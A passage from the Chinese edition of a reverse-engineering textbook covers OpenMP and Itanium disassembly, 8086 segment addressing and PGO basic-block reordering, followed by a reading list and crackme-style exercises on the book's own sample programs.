函数中有意添加了统计代码,用来统计参数被调用的次数。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 92 章 OpenMP 857 整个程序的运行结果如下: threads=4 ... checked=2800000 checked=3000000 checked=3200000 checked=3300000 found (thread 3): [hello, world!_1611446522]. seconds spent=3 __min[0]=0x00000000 __max[0]=0x1fffffff __min[1]=0x20000000 __max[1]=0x3fffffff __min[2]=0x40000000 __max[2]=0x5fffffff __min[3]=0x60000000 __max[3]=0x7ffffffe 计算结果的前 3 个字节确实是零: C:\...\sha512sum test 000000f4a8fac5a4ed38794da4c1e39f54279ad5d9bb3c5465cdf57adaf60403 df6e3fe6019f5764fc9975e505a7395fed780fee50eb38dd4c0279cb114672e2 *test 在笔者的 4 核 Intel Xeon E3-1220 3.10Ghz CPU 上运行这个程序,总耗时大约 2~3 秒。我们可以在任 务管理器中看到 5 个线程:1 个主线程和 4 个子线程。虽然理论上它还有精简的空间,但是我没有对程序 源代码进行深度优化。深度优化应当可以大幅度提升它的运行效率。另外,因为我的 CPU 有 4 个内核,所 以它发起了 4 个子线程——这完全符合 OpenMP 规范。 通过程序输出的统计数据,我们可以清楚地观察到整个穷举空间被划分为大致相等的四个部分。严格 地说,考虑到最后一个比特位,这四个区间确实并非完全相等。 OpenMP 还提供了保障模块 crtomic(原子性)的 Prugms 指令。顾名思义,被标记为原子性的代码不 会被拆分为多个子线程运行。我们来看看这段代码: #pragma omp atomic checked++; #pragma omp critical if ((checked % 100000)==0) printf ("checked=%d\n", checked); 经 MSVC 2012 编译,上述代码对应的汇编指令如下所示。 指令清单 92.3 MSVC 2012 push edi push OFFSET _checked call __vcomp_atomic_add_i4 ; Line 55 push OFFSET _$vcomp$critsect$ call __vcomp_enter_critsect add esp, 12 ; 0000000cH ; Line 56 mov ecx, DWORD PTR _checked mov eax, ecx cdq mov esi, 100000 ; 000186a0H idiv esi test edx, edx jne SHORT $LN1@check_nonc ; Line 57 push ecx push OFFSET ??_C@_0M@NPNHLIOO@checked?$DN?$CFd?6?$AA@ call _printf pop ecx pop ecx $LN1@check_nonc: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 858 逆向工程权威指南(下册) push DWORD PTR _$vcomp$critsect$ call __vcomp_leave_critsect pop ecx 封装在vcomp*.dll里的函数vcomp_atomic_add_i4() 只是一个使用了LOCK XADD指令的小函数。 ① 函数vcomp_enter_critsect() 调用的是Win32 API函数EnterCriticalSection() ② 92.2 GCC 。 经 GCC 4.8.1 生成的程序,其统计结果和上面的程序一样。所以 GCC 分割区间的方法与 MSVC 相同。 指令清单 92.4 GCC 4.8.1 mov edi, OFFSET FLAT:main._omp_fn.0 call GOMP_parallel_start mov edi, 0 call main._omp_fn.0 call GOMP_parallel_end 由 GCC 编译生成的程序,会发起 3 个新的线程,原有线程扮演第 4 进程的角色。所以,总体上 GCC 的进 程数是 4,MSVC 的进程数是 5。 其中,函数 main._omp_fn.0 的代码如下所示。 指令清单 92.5 GCC 4.8.1 main._omp_fn.0: push rbp mov rbp, rsp push rbx sub rsp, 40 mov QWORD PTR [rbp-40], rdi call omp_get_num_threads mov ebx, eax call omp_get_thread_num mov esi, eax mov eax, 2147483647 ; 0x7FFFFFFF cdq idiv ebx mov ecx, eax mov eax, 2147483647 ; 0x7FFFFFFF cdq idiv ebx mov eax, edx cmp esi, eax jl .L15 .L18: imul esi, ecx mov edx, esi add eax, edx lea ebx, [rax+rcx] cmp eax, ebx jge .L14 mov DWORD PTR [rbp-20], eax .L17: mov eax, DWORD PTR [rbp-20] mov edi, eax call check_nonce add DWORD PTR [rbp-20], 1 cmp DWORD PTR [rbp-20], ebx ① 有关 LOCK 前缀的详细说明,请参见本书附录 A.6.1。 ② 请参见本书 68.4 节。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 92 章 OpenMP 859 jl .L17 jmp .L14 .L15: mov eax, 0 add ecx, 1 jmp .L18 .L14: add rsp, 40 pop rbx pop rbp ret 上述指令清晰地显示出:程序通过调用函数 omp_get_num_threads() 和另一个函数 omp_get_thread_num() 获 取当前线程的总数以及当前线程的编号,然后分割循环体。之后,它再运行 check_nonce()。 GCC 在代码中直接使用 LOCK ADD 指令,而 MSVC 则是调用另一个 DLL 文件中的独立函数。 指令清单 92.6 GCC 4.8.1 lock add DWORD PTR checked[rip], 1 call GOMP_critical_start mov ecx, DWORD PTR checked[rip] mov edx, 351843721 mov eax, ecx imul edx sar edx, 13 mov eax, ecx sar eax, 31 sub edx, eax mov eax, edx imul eax, eax, 100000 sub ecx, eax mov eax, ecx test eax, eax jne .L7 mov eax, DWORD PTR checked[rip] mov esi, eax mov edi, OFFSET FLAT:.LC2 ; "checked=%d\n" mov eax, 0 call printf .L7: call GOMP_critical_end 以 GOMP 开头的函数来自于 GNU OpenMP Library。您可在 GitHub 下载到它的源文件(https://github.com/ gcc-mirror/gcc/tree/master/libgomp)。不过,微软的 vcomp*.dll 文件没有源代码可查。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 9933 章 章 安 安 腾 腾 指 指 令 令 就市场来讲,安腾(Itanium)处理器几乎是失败产品。但是它的 Intel Itanium(IA64)架构非常值得 研究。乱序执行(OOE)CPU 理念,侧重于让 CPU 重新划分指令的片段和顺序,再把重组后的指令组分 派到并联计算单位进行并行计算。而英特尔(Intel)安腾架构推出的并行计算技术(Explicitly Parallel Instruction Code,EPIC),则主张让编译器在编译的早期阶段实现指令分组。 厂商推出了配合这种并行计算技术的编译器。不过,这些编译器因异常复杂而颇受争议。 本章从 Linux 内核(3.2.0.4)摘录了部分 IA64 指令。这段程序用于实现某加密机制。其源代码如下所示。 指令清单 93.1 Linux kernel 3.2.0.4 #define TEA_ROUNDS 32 #define TEA_DELTA 0x9e3779b9 static void tea_encrypt(struct crypto_tfm *tfm, u8 *dst, const u8 *src) { u32 y, z, n, sum = 0; u32 k0, k1, k2, k3; structtea_ctx *ctx = crypto_tfm_ctx(tfm); const __le32 *in = (const __le32 *)src; __le32 *out = (__le32 *)dst; y = le32_to_cpu(in[0]); z = le32_to_cpu(in[1]); k0 = ctx->KEY[0]; k1 = ctx->KEY[1]; k2 = ctx->KEY[2]; k3 = ctx->KEY[3]; n = TEA_ROUNDS; while (n-- > 0) { sum += TEA_DELTA; y += ((z << 4) + k0) ^ (z + sum) ^ ((z >> 5) + k1); z += ((y << 4) + k2) ^ (y + sum) ^ ((y >> 5) + k3); } out[0] = cpu_to_le32(y); out[1] = cpu_to_le32(z); } 其编译结果如下所示。 指令清单 93.2 Linux Kernel 3.2.0.4 for Itanium 2(McKinley) 0090| tea_encrypt: 0090|08 80 80 41 00 21 adds r16 = 96, r32 // ptr to ctx->KEY[2] 0096|80 C0 82 00 42 00 adds r8 = 88, r32 // ptr to ctx->KEY[0] 009C|00 00 04 00 nop.i 0 00A0|09 18 70 41 00 21 adds r3 = 92, r32 // ptr to ctx->KEY[1] 00A6|F0 20 88 20 28 00 ld4 r15 = [r34], 4 // load z 00AC|44 06 01 84 adds r32 = 100, r32;; // ptr to ctx->KEY[3] 00B0|08 98 00 20 10 10 ld4 r19 = [r16] // r19=k2 00B6|00 01 00 00 42 40 mov r16=r0 // r0 一直是 0 00BC|00 08 CA 00 mov.i r2 = ar.lc // 保存 lc 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 93 章 安 腾 指 令 861 00C0|05 70 00 44 10 10 9E FF FF FF 7F 20 ld4 r14 = [r34] // load y 00CC|92 F3 CE 6B movl r17 = 0xFFFFFFFF9E3779B9;; // TEA_DELTA 00D0|08 00 00 00 01 00 nop.m 0 00D6|50 01 20 20 20 00 ld4 r21 = [r8] // r21=k0 00DC|F0 09 2A 00 mov.i ar.lc = 31 //TEA_ROUNDS=32 00E0|0A A0 00 06 10 10 ld4 r20 = [r3];; // r20=k1 00E6|20 01 80 20 20 00 ld4 r18 = [r32] // r18=k3 00EC|00 00 04 00 nop.i 0 00F0| 00F0| loc_F0: 00F0|09 80 40 22 00 20 add r16 = r16, r17 //r16=sum, r17=TEA_DELTA 00F6|D0 71 54 26 40 80 shladd r29 = r14, 4, r21 // r14=y, r21=k0 00FC|A3 70 68 52 extr.u r28 = r14, 5, 27;; 0100|03 F0 40 1C 00 20 add r30 = r16, r14 0106|B0 E1 50 00 40 40 add r27 = r28, r20;; // r20=k1 010C|D3 F1 3C 80 xor r26 = r29, r30;; 0110|0B C8 6C 34 0F 20 xor r25 = r27, r26;; 0116|F0 78 64 00 40 00 add r15 = r15, r25 // r15=z 011C|00 00 04 00 nop.i 0;; 0120|00 00 00 00 01 00 nop.m 0 0126|80 51 3C 34 29 60 extr.u r24 = r15, 5, 27 012C|F1 98 4C 80 shladd r11 = r15, 4, r19 // r19=k2 0130|0B B8 3C 20 00 20 add r23 = r15, r16;; 0136|A0 C0 48 00 40 00 add r10 = r24, r18 // r18=k3 013C|00 00 04 00 nop.i 0;; 0140|0B 48 28 16 0F 20 xor r9 = r10, r11;; 0146|60 B9 24 1E 40 00 xor r22 = r23, r9 014C|00 00 04 00 nop.i 0;; 0150|11 00 00 00 01 00 nop.m 0 0156|E0 70 58 00 40 A0 add r14 = r14, r22 015C|A0 FF FF 48 br.cloop.sptk.few loc_F0;; 0160|09 20 3C 42 90 15 st4 [r33] = r15, 4 // store z 0166|00 00 00 02 00 00 nop.m 0 016C|20 08 AA 00 mov.i ar.lc = r2;; // restore lc legister 0170|11 00 38 42 90 11 st4 [r33] = r14 // store y 0176|00 00 00 02 00 80 nop.i 0 017C|08 00 84 00 br.ret.sptk.many b0;; 上述 IA64 指令很有特点。 首先,每 3 条指令构成一个指令字(instruction bundles)。每个指令字的长度都是 16 字节即 128 位, 由 1 个 5 位的模版字段和 3 个 41 位微操作指令构成。IDA 把这些指令组分为(6 + 6 + 4)字节的结构体,以 便于调试人员进行区分。 除了含有停止位(stop bit)的指令之外,这些由 3 条微操作指令构成的指令字,通常都由 CPU 并行 处理。 据称,Intel 和 HP 的开发人员针对常见指令进行了模式划分,从而推出了指令字类型(即指令模版) 的概念—声明指令字运算资源的模版字段。CPU 依此把指令字区分为 12 种基本类型(basic bundle types), 基本类型又分为带停止位的版本和不带停止位的版本。举例来说,第 0 类指令字叫作 MII 类指令字,依次 由内存读写微操作指令(M)和两条整数运算的微操作指令(II)构成;最后一类指令,即 0x1d 类指令字, 又叫作 MFB 类指令字,依次由内存读写微操作指令(M)、浮点数运算微操作指令(F)、分支(转移)微 操作指令(B)构成。 如果编译器在指令字的指令位(instruction slot)上编排不了相应的微操作指令,那么它可能在这些指 令位上安插空操作指令 nop。您可能注意到了,本文中的 nop 指令分为“nop,i”和“nop,m”。i 代表该 nop 指令占用整数(integer)处理单元,属于整数运算型微操作指令;m 代表它占用内存处理单元,属于 内存操作型微操作指令。在人工编写汇编语言时,编辑程序会自动插入相应的 nop 指令。 IA64 汇编指令的特性不止这些。该平台的指令字还可进行分组,构成指令组(instruction group)。指 令组可由任意个连续运算的指令字和一个含有停止位的指令字构成,是一个可并行执行的指令集合。在实 异步社区会员 dearfuture(15918834820) 专享 尊重版权 862 逆向工程权威指南(下册) 际应用中,安腾 2 处理器可以并行执行 2 路指令字,即同时处理 6 个微操作指令。 这就要求指令字中的各微操作指令和每个指令组的各指令字之间互不干扰,即不存在数据竞争。如果 存在数据竞争、形成脏数据,那么运算结果不可控(undefined)。 在 IDA 中,微操作指令之后的两个分号(;;)表示该指令有停止位。可见,[90-ac]及[b0-bc]分别 属于可并行执行的两个指令组,它们之间不存在互扰。下一组则是[b0-cc]。 另外,在 10c 处的指令,以及下一条位于 110 处的指令都有停止位。这就意味着 CPU 会在与其他指令 隔绝的情况下运行这两个指令,这种运行模式就和常规的 CISC/复杂指令集的执行方式完全相同了。这是 由于后续指令,即 110 处的指令需要前一条指令的运行结果(R26)寄存器,所以不能并行处理这两条指 令。很明显,此时编译器不能找到更好的并行处理手段,无法更有效地利用 CPU,所以在此添加了 2 个停 止位和多个 NOP 指令。虽说编译器在智能方面很不成熟,但是人工的 IA64 汇编编程也丝毫不轻松:程序 员要手动完成指令字分组的工作。 要图省事的话,程序员可以给每条指令添加停止位,不过这将大幅度地浪费安腾处理器的运算性能。 Linux 内核的源代码中,就有一些经典的、手写 IA64 汇编代码。有兴趣的读者可参考:http://lxr.free- electrons.com/source/arch/ia64/lib/。 有关 IA64 汇编语言人工编程的具体方法,可参见 Mike Burrell 撰写的专业论著《Writing Effcient Itanium 2 Assembly Code》(http://yurichev.com/mirrors/RE/itanium.pdf)。有关汇编语言指令字的详细说明,请参见 Phrack Itanium 的帖子 http://phrack.org/issues/57/5.html。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 9944 章 章 88008866 的 的寻 寻址 址方 方式 式 在 MS-DOS 及 Win16(参见本书 78.3 节和 53.5 节)平台的 16 位应用程序中,我们可以看到程序指针由 两个 16 位值构成。这是什么情况?不得不说这是 MS-DOS 和 8086 的另一大怪异的特色。 虽然 8086/8088 属于 16 位 CPU,但是它却有 20 位的 RAM 地址空间(内存总线有 20 个引脚);即, 它可直接寻址的存储空间只有 1MB。这 1MB 的外部内存空间又被划分为 RAM(最大 640kB)、ROM、显 卡内存、EMS 卡,等等。 16 位的 8086/8088 CPU 实际上由 8080 CPU 发展而来。8080 CPU 的地址空间只有 16 位,所以可直接 控制的内存只有 64KB。大概是 8086 的设计者认为 64KB 空间不够用,而且 8086 还要兼容 8080 平台的程 序,所以就把 20 位/1MB 的内存划分为若干个段使用。这就是早期玩具级的虚拟内存技术的思路。而 8086 的寄存器又只是 16 位寄存器,为了进行更大范围(20 位)的寻址,它就得借助新推出的段寄存器。从此 CPU 就有了 CS、DS、ES 和 SS 寄存器。20 位的内存指针由短寄存器和地址寄存器对(DS:BX)混合计算而来: ( ) _ _ 4 _ real address segment register address register =   + 举例来说,过去 IBM PC 兼容的主机,其显卡(EGA、VGA)的显存都只有 64KB。要读写显存,就 要在某个段寄存器里(例如 DS)写入 0xA000。如此一来,程序就可使用 DS:0~DS:0xFFFF 访问整个显存。 虽然地址总线是 20 位的,超过了 16 位寄存器的表达范围,但是 CPU 可借助段寄存器毫无障碍地访问 0xA0000~0AFFFF。 程序还可能直接访问固定的内存地址,例如 0x1234,但是操作系统加载应用程序到起始地址却不是固 定的。段寄存器的出现,解决了这种问题——它可由段寄存器进行相对寻址,应用程序不必关心自己到底 被加载到了什么 RAM 地址上。 实际上,MS-DOS 系统下的指针由段地址和段内地址构成,可由两个 16 位的数值表示。20 位地址总 线足以满足这种寻址方式的需要。不过,程序员就需要重新计算内存地址了:他们要不停地考虑空间和效 率的平衡,仔细规划数据栈的分配情况。 另外,8086 的寻址方式决定了每个内存块不能大于 64KB。 80286 平台仍然继承了段寄存器(segment registers),只是用途不同而已。 在支持更大 RAM 的 80386 CPU 问世时,市面上流行的仍然是 MS-DOS。更有一大批叫作 DOS extenders 的 DOS 粉丝在 Windows 系统问世以后继续坚守 DOS 阵地。他们甚至开发出各种像模像样的 OS 系统。这 种系统不仅实现了 CPU 保护模式的切换功能,而且大幅度地改进了内存 API,可继续支持 MS-DOS 的应 用程序。著名的有:DOS/4GW(游戏巨作 DOOM 就是面向它编译的)、Phar Lap 和 PMODE。 在 Win32 之前,16 位的 Windows 3.x 仍然沿用了这种寻址方式。 ≪ 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 9955 章 章 基 基本 本块 块重 重排 排 95.1 PGO 的优化方式 PGO 是 Profile-guided optimization 的缩写,中文有“配置文件引导的优化”等译法。经 PGO 方式优化 以后,程序中的某些基本块(basic block)(所谓基本块,指的是程序里顺序执行的语句序列。基本块由第 一个语句构成入口,由最后一个语句构成出口。在执行程序时,不可从入口以外进入该基本块(被跳入), 也不可从出口以外的地址跳出该基本块。)可能会被调整到可执行文件的任意位置。 很明显,函数中的程序代码存在执行频率的差异。例如,循环语句一类代码的执行频率必然很高,而 错误报告、异常处理之类代码的执行频率较低。 在使用 PGO 时,编译器首先会生成一种可记录运行细节的特殊程序。而后,研发人员通过试运行的手 段收集该程序的各项统计信息。最后,编译器根据这些统计信息对可执行文件进行调整和优化,把执行几 率较小的基本块挪到其他地方。 在经 PGO 优化后的程序里,频繁执行的函数代码会被调整得更为紧凑。PGO 优化了条件跳转的性能, 提高了 CPU 分支预测的准确率。这些特性均有助于提升程序性能。 Oracle 是由 Intel C++编译器生成的程序。本文收录了 Oracle 中 orageneric11.dll(Win32)的部分代码。 指令清单 95.1 orageneric11.dll(Win32) public _skgfsync _skgfsync proc near ; address 0x6030D86A db 66h nop push ebp mov ebp, esp mov edx, [ebp+0Ch] test edx, edx jz short loc_6030D884 mov eax, [edx+30h] test eax, 400h jnz __VInfreq__skgfsync ; write to log continue: mov eax, [ebp+8] mov edx, [ebp+10h] mov dword ptr [eax], 0 lea eax, [edx+0Fh] and eax, 0FFFFFFFCh mov ecx, [eax] cmp ecx, 45726963h jnz error ; exit with error mov esp, ebp pop ebp retn _skgfsync endp ... ; address 0x60B953F0 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 95 章 基本块重排 865 __VInfreq__skgfsync: mov eax, [edx] test eax, eax jz continue mov ecx, [ebp+10h] push ecx mov ecx, [ebp+8] push edx push ecx push offset ... ; "skgfsync(se=0x%x, ctx=0x%x, iov=0x%x)\n" push dword ptr [edx+4] call dword ptr [eax] ; write to log add esp, 14h jmp continue error: mov edx, [ebp+8] mov dword ptr [edx], 69AAh ; 27050 "function called with invalid FIB/IOV structure" mov eax, [eax] mov [edx+4], eax mov dword ptr [edx+8], 0FA4h ; 4004 mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR _skgfsync 上述两个基本块的地址相距 9MB 左右。 在这个文件中,所有的不常用函数都位于 DLL 文件的尾部。这部分不常用函数都被 Intel C++编译器 打上了 VInfreq 前缀。例如,我们看到函数尾部的部分代码用于记录 log 文件(大概用于错误、警告和异常 处理)。因为 Oracle 开发人员在试运行期间收集统计信息时,它的执行概率较低(甚至没被执行过),所以 它们被标注上了__VInfreq 前缀。最终,这个日志基本块把控制流返回给位于“热门地区”的函数代码。 程序里另外一处“不常用”的区间是返回错误代码 27050 的基本块。 在 Linux ELF 环境下,Intel C++编译器会在 ELF 文件里通过.hot/.unlikely 标记“热门”/“冷门” 基本块。 以逆向工程的角度来看,这些信息可用来辨别函数的核心部分和异常处理部分。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第十 十一 一部 部分 分 推 推荐 荐阅 阅读 读 异步社区会员 dearfuture(15918834820) 专享 尊重版权 868 逆向工程权威指南 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 9966 章 章 参 参 考 考 书 书 籍 籍 96.1 Windows Mark E. Russinovich、 David A. Solomon 与 Alex Ionescu 合著的《Windows Internals: Including Windows Server 2008 and Windows Vista, Fifth Edition》2009。 96.2 C/C++ 《ISO/IEC 14882:2011 (C++ 11 standard)》。 此外,读者可参见 http://go.yurichev.com/17275(2013)。 96.3 x86/x86-64 Intel 出版的《Intel 64 and IA-32 Architectures Software Developer’s Manual Combined Volumes》,其中的 1,2A,2B,2C,3A,3B 和 3C 章。本书作者将其收录为 http://go.yurichev.com/17283(2013)。 AMD 出版的《AMD64 Architecture Programmer’s Manual》。本书作者将其收录为 http://go.yurichev. com/17284(2013)。 96.4 ARM 请参见本书作者收集的 ARM 手册:http://go.yurichev.com/17024。 96.5 加密学 Bruce Schneier 撰写的《Applied Cryptography: Protocols, Algorithms, and Source Code in C》(1994 年)。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 9977 章 章 博 博 客 客 97.1 Windows 平台  微软:Raymond Chen (http://blogs.msdn.com/b/oldnewthing/)。  nynaeve.net (http://www.nynaeve.net/)。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 9988 章 章 其 其 他 他 内 内 容 容 reddit.com 有两个非常出色的逆向工程相关板块,请参见:  Reverse Engineering(http://www.reddit.com/r/ReverseEngineering/)。  REMath 逆向工程与数学的综合板块(http://www.reddit.com/r/remath)。 Stack Exchange 网站同样有一个著名的逆向工程板块:  http://reverseengineering.stackexchange.com/。 FreeNode(IRC)的#re 频道是专门讨论逆向工程的主题聊天室。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第十 十二 二部 部分 分 练 练习 习题 题 除非文中有单独的提问,否则本卷题目的默认问题都是:  请用一句话描述这个程序的功能。  请把这个函数还原为 C/C++语言的源程序。 在解答题目时,您可以通过 Google 等搜索引擎查找线索。但是,不借助搜索引擎的乐趣会更多一些。 另外,您还可以在本书的附录里查找相关提示。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 874 逆向工程权威指南 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 9999 章 章 初 初等 等难 难度 度练 练习 习题 题 这种难度的题目通常可以直接心算。 99.1 练习题 1.4 下列程序使用了密码保护机制,请找到程序指定的密码。 喜欢举一反三的读者,还可以修改可执行程序来改变程序的密码。在修改密码的时候,建议您同时调 整密码的长度,并摸索最短密码到底可以有多短。 此外,单独一个字符串就可以令程序崩溃。请创建这种字符串。  Win32(go.yurichev.com/17166)。  Linux x86(go.yurichev.com/17167)。  Mac OS X(go.yurichev.com/17168)。  MIPS(go.yurichev.com/17169)。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 110000 章 章 中 中等 等难 难度 度练 练习 习题 题 要解答这个难度的题目,您可能会用到文本编辑器或者纸笔。 100.1 练习题 2.1 100.1.1 Optimizing MSVC 2010 x86 __real@3fe0000000000000 DQ 03fe0000000000000r __real@3f50624dd2f1a9fc DQ 03f50624dd2f1a9fcr _g$ = 8 tv132 = 16 _x$ = 16 f1 PROC fld QWORD PTR _x$[esp-4] fld QWORD PTR __real@3f50624dd2f1a9fc fld QWORD PTR __real@3fe0000000000000 fld QWORD PTR _g$[esp-4] $LN2@f1: fld ST(0) fmul ST(0), ST(1) fsub ST(0), ST(4) call __ftol2_sse cdq xor eax, edx sub eax, edx mov DWORD PTR tv132[esp-4], eax fild DWORD PTR tv132[esp-4] fcomp ST(3) fnstsw ax test ah, 5 jnp SHORT $LN19@f1 fld ST(3) fdiv ST(0), ST(1) faddp ST(1), ST(0) fmul ST(0), ST(1) jmp SHORT $LN2@f1 $LN19@f1: fstp ST(3) fstp ST(1) fstp ST(0) ret 0 f1 ENDP __real@3ff0000000000000 DQ 03ff0000000000000r _x$ = 8 f2 PROC fld QWORD PTR _x$[esp-4] sub esp, 16 fstp QWORD PTR [esp+8] fld1 fstp QWORD PTR [esp] call f1 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 100 章 中等难度练习题 877 add esp, 16 ret 0 f2 ENDP 100.1.2 Optimizing MSVC 2012 x64 __real@3fe0000000000000 DQ 03fe0000000000000r __real@3f50624dd2f1a9fc DQ 03f50624dd2f1a9fcr __real@3ff0000000000000 DQ 03ff0000000000000r x$ = 8 f PROC movsdx xmm2, QWORD PTR __real@3ff0000000000000 movsdx xmm5, QWORD PTR __real@3f50624dd2f1a9fc movsdx xmm4, QWORD PTR __real@3fe0000000000000 movapd xmm3, xmm0 npad 4 $LL4@f: movapd xmm1, xmm2 mulsd xmm1, xmm2 subsd xmm1, xmm3 cvttsd2si eax, xmm1 cdq xor eax, edx sub eax, edx movd xmm0, eax cvtdq2pd xmm0, xmm0 comisd xmm5, xmm0 ja SHORT $LN18@f movapd xmm0, xmm3 divsd xmm0, xmm2 addsd xmm0, xmm2 movapd xmm2, xmm0 mulsd xmm2, xmm4 jmp SHORT $LL4@f $LN18@f: movapd xmm0, xmm2 ret 0 f ENDP 100.2 练习题 2.4 下面这道题目摘自 MSVC 2010,是标准的库函数。 100.2.1 Optimizing MSVC 2010 PUBLIC _f _TEXT SEGMENT _arg1$ = 8 ;size=4 _arg2$ = 12 ;size=4 _f PROC push esi mov esi, DWORD PTR _arg1$[esp] push edi mov edi, DWORD PTR _arg2$[esp+4] cmp BYTE PTR [edi], 0 mov eax, esi je SHORT $LN7@f mov dl, BYTE PTR [esi] push ebx test dl, dl je SHORT $LN4@f 异步社区会员 dearfuture(15918834820) 专享 尊重版权 878 逆向工程权威指南(下册) sub esi, edi npad 6 ; align next label $LL5@f: mov ecx, edi test dl, dl je SHORT $LN2@f $LL3@f: mov dl, BYTE PTR [ecx] test dl, dl je SHORT $LN14@f movsx ebx, BYTE PTR [esi+ecx] movsx edx, dl sub ebx, edx jne SHORT $LN2@f inc ecx cmp BYTE PTR [esi+ecx], bl jne SHORT $LL3@f $LN2@f: cmp BYTE PTR [ecx], 0 je SHORT $LN14@f mov dl, BYTE PTR [eax+1] inc eax inc esi test dl, dl jne SHORT $LL5@f xor eax, eax pop ebx pop edi pop esi ret 0 _f ENDP _TEXT ENDS END 100.2.2 GCC 4.4.1 public f f proc near var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] movzx eax, byte ptr [eax] test al, al jnz short loc_8048443 mov eax, [ebp+arg_0] jmp short locret_8048453 loc_80483F4: mov eax, [ebp+var_4] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], eax jmp short loc_804840A 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 100 章 中等难度练习题 879 loc_8048402: add [ebp+var_8], 1 add [ebp+var_C], 1 loc_804840A: mov eax, [ebp+var_8] movzx eax, byte ptr [eax] test al, al jz short loc_804842E mov eax, [ebp+var_C] movzx eax, byte ptr [eax] test al, al jz short loc_804842E mov eax, [ebp+var_8] movzx edx, byte ptr [eax] mov eax, [ebp+var_C] movzx eax, byte ptr [eax] cmp dl, al jz short loc_8048402 loc_804842E: mov eax, [ebp+var_C] movzx eax, byte ptr [eax] test al, al jnz short loc_804843D mov eax, [ebp+var_4] jmp short locret_8048453 loc_804843D: add [ebp+var_4], 1 jmp short loc_8048444 loc_8048443: nop loc_8048444: mov eax, [ebp+var_4] movzx eax, byte ptr [eax] test al, al jnz short loc_80483F4 mov eax, 0 locret_8048453: leave retn f endp 100.2.3 Optimizing Keil(ARM mode) PUSH {r4,lr} LDRB r2,[r1,#0] CMP r2,#0 POPEQ {r4,pc} B |L0.80| |L0.20| LDRB r12,[r3,#0] CMP r12,#0 BEQ |L0.64| LDRB r4,[r2,#0] CMP r4,#0 POPEQ {r4,pc} CMP r12,r4 ADDEQ r3,r3,#1 ADDEQ r2,r2,#1 异步社区会员 dearfuture(15918834820) 专享 尊重版权 880 逆向工程权威指南(下册) BEQ |L0.20| B |L0.76| |L0.64| LDRB r2,[r2,#0] CMP r2,#0 POPEQ {r4,pc} |L0.76| ADD r0,r0,#1 |L0.80| LDRB r2,[r0,#0] CMP r2,#0 MOVNE r3,r0 MOVNE r2,r1 MOVEQ r0,#0 BNE |L0.20| POP {r4,pc} 100.2.4 Optimizing Keil(Thumb mode) PUSH {r4,r5,lr} LDRB r2,[r1,#0] CMP r2,#0 BEQ |L0.54| B |L0.46| |L0.10| MOVS r3,r0 MOVS r2,r1 B |L0.20| |L0.16| ADDS r3,r3,#1 ADDS r2,r2,#1 |L0.20| LDRB r4,[r3,#0] CMP r4,#0 BEQ |L0.38| LDRB r5,[r2,#0] CMP r5,#0 BEQ |L0.54| CMP r4,r5 BEQ |L0.16| B |L0.44| |L0.38| LDRB r2,[r2,#0] CMP r2,#0 BEQ |L0.54| |L0.44| ADDS r0,r0,#1 |L0.46| LDRB r2,[r0,#0] CMP r2,#0 BNE |L0.10| MOVS r0,#0 |L0.54| POP {r4,r5,pc} 100.2.5 Optimizing GCC 4.9.1(ARM64) 指令清单 100.1 Optimizing GCC 4.9.1(ARM64) func: ldrb w6, [x1] mov x2, x0 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 100 章 中等难度练习题 881 cbz w6, .L2 ldrb w2, [x0] cbz w2, .L24 .L17: ldrb w2, [x0] cbz w2, .L5 cmp w6, w2 mov x5, x0 mov x2, x1 beq .L18 b .L5 .L4: ldrb w4, [x2] cmp w3, w4 cbz w4, .L8 bne .L8 .L18: ldrb w3, [x5,1]! add x2, x2, 1 cbnz w3, .L4 .L8: ldrb w2, [x2] cbz w2, .L27 .L5: ldrb w2, [x0,1]! cbnz w2, .L17 .L24: mov x2, 0 .L2: mov x0, x2 ret .L27: mov x2, x0 mov x0, x2 ret 100.2.6 Optimizing GCC 4.4.5(MIPS) 指令清单 100.2 Optimizing GCC 4.4.5(MIPS)(IDA) f: lb $v1, 0($a1) or $at, $zero bnez $v1, loc_18 move $v0, $a0 locret_10: # CODE XREF: f+50 # f+78 jr $ra or $at, $zero loc_18: # CODE XREF: f+8 lb $a0, 0($a0) or $at, $zero beqz $a0, locret_94 move $a2, $v0 loc_28: # CODE XREF: f+8C lb $a0, 0($a2) or $at, $zero beqz $a0, loc_80 or $at, $zero bne $v1, $a0, loc_80 move $a3, $a1 b loc_60 addiu $a2, 1 loc_48: # CODE XREF: f+68 lb $t1, 0($a3) 异步社区会员 dearfuture(15918834820) 专享 尊重版权 882 逆向工程权威指南(下册) or $at, $zero beqz $t1, locret_10 or $at, $zero bne $t0, $t1, loc_80 addiu $a2, 1 loc_60: # CODE XREF: f+40 lb $t0, 0($a2) or $at, $zero bnez $t0, loc_48 addiu $a3, 1 lb $a0, 0($a3) or $at, $zero beqz $a0, locret_10 or $at, $zero loc_80: # CODE XREF: f+30 # f+38 ... addiu $v0, 1 lb $a0, 0($v0) or $at, $zero bnez $a0, loc_28 move $a2, $v0 locret_94: # CODE XREF: f+20 jr $ra move $v0, $zero 100.3 练习题 2.6 100.3.1 Optimizing MSVC 2010 PUBLIC _f ; Function compile flags: /Ogtpy _TEXT SEGMENT _k0$ = 